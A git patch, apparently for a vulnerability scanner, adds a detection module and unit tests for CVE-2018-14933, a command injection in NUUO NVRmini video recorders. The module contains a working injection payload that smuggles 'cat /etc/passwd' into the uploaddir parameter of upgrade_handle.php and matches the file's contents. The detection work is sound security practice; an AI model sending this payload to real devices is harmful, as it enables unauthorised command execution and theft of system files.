From 1997105bef247b06c032271e94d000e4b0aa62e7 Mon Sep 17 00:00:00 2001
From: pirahnasa <saad@ostorlab.dev>
Date: Fri, 20 Dec 2024 12:16:58 +0100
Subject: [PATCH] Add detection for CVE-2018-14933

---
 agent/exploits/cve_2018_14933.py      | 39 ++++++++++++
 tests/exploits/cve_2018_14933_test.py | 87 +++++++++++++++++++++++++++
 2 files changed, 126 insertions(+)
 create mode 100644 agent/exploits/cve_2018_14933.py
 create mode 100644 tests/exploits/cve_2018_14933_test.py

diff --git a/agent/exploits/cve_2018_14933.py b/agent/exploits/cve_2018_14933.py
new file mode 100644
index 0000000..9fbb507
--- /dev/null
+++ b/agent/exploits/cve_2018_14933.py
@@ -0,0 +1,39 @@
+"""Agent implementation for CVE-2018-14933"""
+
+import re
+
+from agent import definitions
+from agent import exploits_registry
+from agent.exploits import webexploit
+
+VULNERABILITY_TITLE = "Remote Command Execution in NUUO NVRmini devices"
+VULNERABILITY_REFERENCE = "CVE-2018-14933"
+VULNERABILITY_DESCRIPTION = (
+    "The `upgrade_handle.php` endpoint on NUUO NVRmini devices is vulnerable to remote command execution. "
+    "This flaw exists due to improper sanitization of shell metacharacters in the `uploaddir` parameter when "
+    "handling a `writeuploaddir` command."
+)
+RISK_RATING = "CRITICAL"
+
+
+@exploits_registry.register
+class CVE201814933Exploit(webexploit.WebExploit):
+    accept_request = definitions.Request(
+        method="GET",
+        path="/",
+    )
+
+    accept_pattern = [re.compile(r"<title>NUUO Network Video Recorder")]
+    check_request = definitions.Request(
+        method="GET",
+        path="/upgrade_handle.php?cmd=writeuploaddir&uploaddir=%27;cat%20/etc/passwd;%27",
+    )
+
+    match_pattern = [re.compile(r"root:.*:0:0:")]
+
+    metadata = definitions.VulnerabilityMetadata(
+        title=VULNERABILITY_TITLE,
+        description=VULNERABILITY_DESCRIPTION,
+        reference=VULNERABILITY_REFERENCE,
+        risk_rating=RISK_RATING,
+    )
diff --git a/tests/exploits/cve_2018_14933_test.py b/tests/exploits/cve_2018_14933_test.py
new file mode 100644
index 0000000..82eaa92
--- /dev/null
+++ b/tests/exploits/cve_2018_14933_test.py
@@ -0,0 +1,87 @@
+"""Unit tests for Agent implementation: CVE-2018-14933"""
+
+import requests_mock as req_mock
+from ostorlab.agent.mixins import agent_report_vulnerability_mixin as vuln_mixin
+
+from agent import definitions
+from agent.exploits import cve_2018_14933
+
+
+def testCVE201814933_whenVulnerable_reportFinding(
+    requests_mock: req_mock.mocker.Mocker,
+) -> None:
+    """CVE-2018-14933 unit test: case when target is vulnerable."""
+    requests_mock.get(
+        "http://localhost:80/",
+        text="<title>NUUO Network Video Recorder",
+        status_code=200,
+    )
+    requests_mock.get(
+        "http://localhost:80/upgrade_handle.php",
+        text="root:x:0:0:root:/root:/bin/bash",
+        status_code=200,
+    )
+    exploit_instance = cve_2018_14933.CVE201814933Exploit()
+    target = definitions.Target("http", "localhost", 80)
+
+    accept = exploit_instance.accept(target)
+    vulnerabilities = exploit_instance.check(target)
+
+    assert accept is True
+    assert len(vulnerabilities) > 0
+    vulnerability = vulnerabilities[0]
+    assert (
+        vulnerability.entry.title == "Remote Command Execution in NUUO NVRmini devices"
+    )
+    assert vulnerability.technical_detail == (
+        "http://localhost:80 is vulnerable to CVE-2018-14933, Remote Command Execution in NUUO NVRmini devices"
+    )
+    assert vulnerability.risk_rating == vuln_mixin.RiskRating.CRITICAL
+
+
+def testCVE201814933_whenSafe_reportNothing(
+    requests_mock: req_mock.mocker.Mocker,
+) -> None:
+    """CVE-2018-14933 unit test: case when target is safe."""
+    requests_mock.get(
+        "http://localhost:80/",
+        text="<title>NUUO Network Video Recorder",
+        status_code=200,
+    )
+    requests_mock.get(
+        "http://localhost:80/upgrade_handle.php",
+        text="Access Denied",
+        status_code=403,
+    )
+    exploit_instance = cve_2018_14933.CVE201814933Exploit()
+    target = definitions.Target("http", "localhost", 80)
+
+    accept = exploit_instance.accept(target)
+    vulnerabilities = exploit_instance.check(target)
+
+    assert accept is True
+    assert len(vulnerabilities) == 0
+
+
+def testCVE201814933_whenTargetNotRelevant_reportNothing(
+    requests_mock: req_mock.mocker.Mocker,
+) -> None:
+    """CVE-2018-14933 unit test: case when target is not a NUUO product."""
+    requests_mock.get(
+        "http://localhost:80/",
+        text="Not Found",
+        status_code=404,
+    )
+    requests_mock.get(
+        "http://localhost:80/upgrade_handle.php",
+        text="Access Denied",
+        status_code=403,
+    )
+    exploit_instance = cve_2018_14933.CVE201814933Exploit()
+    target = definitions.Target("http", "localhost", 80)
+
+    accept = exploit_instance.accept(target)
+    vulnerabilities = exploit_instance.check(target)
+
+    assert accept is False
+    assert len(vulnerabilities) == 0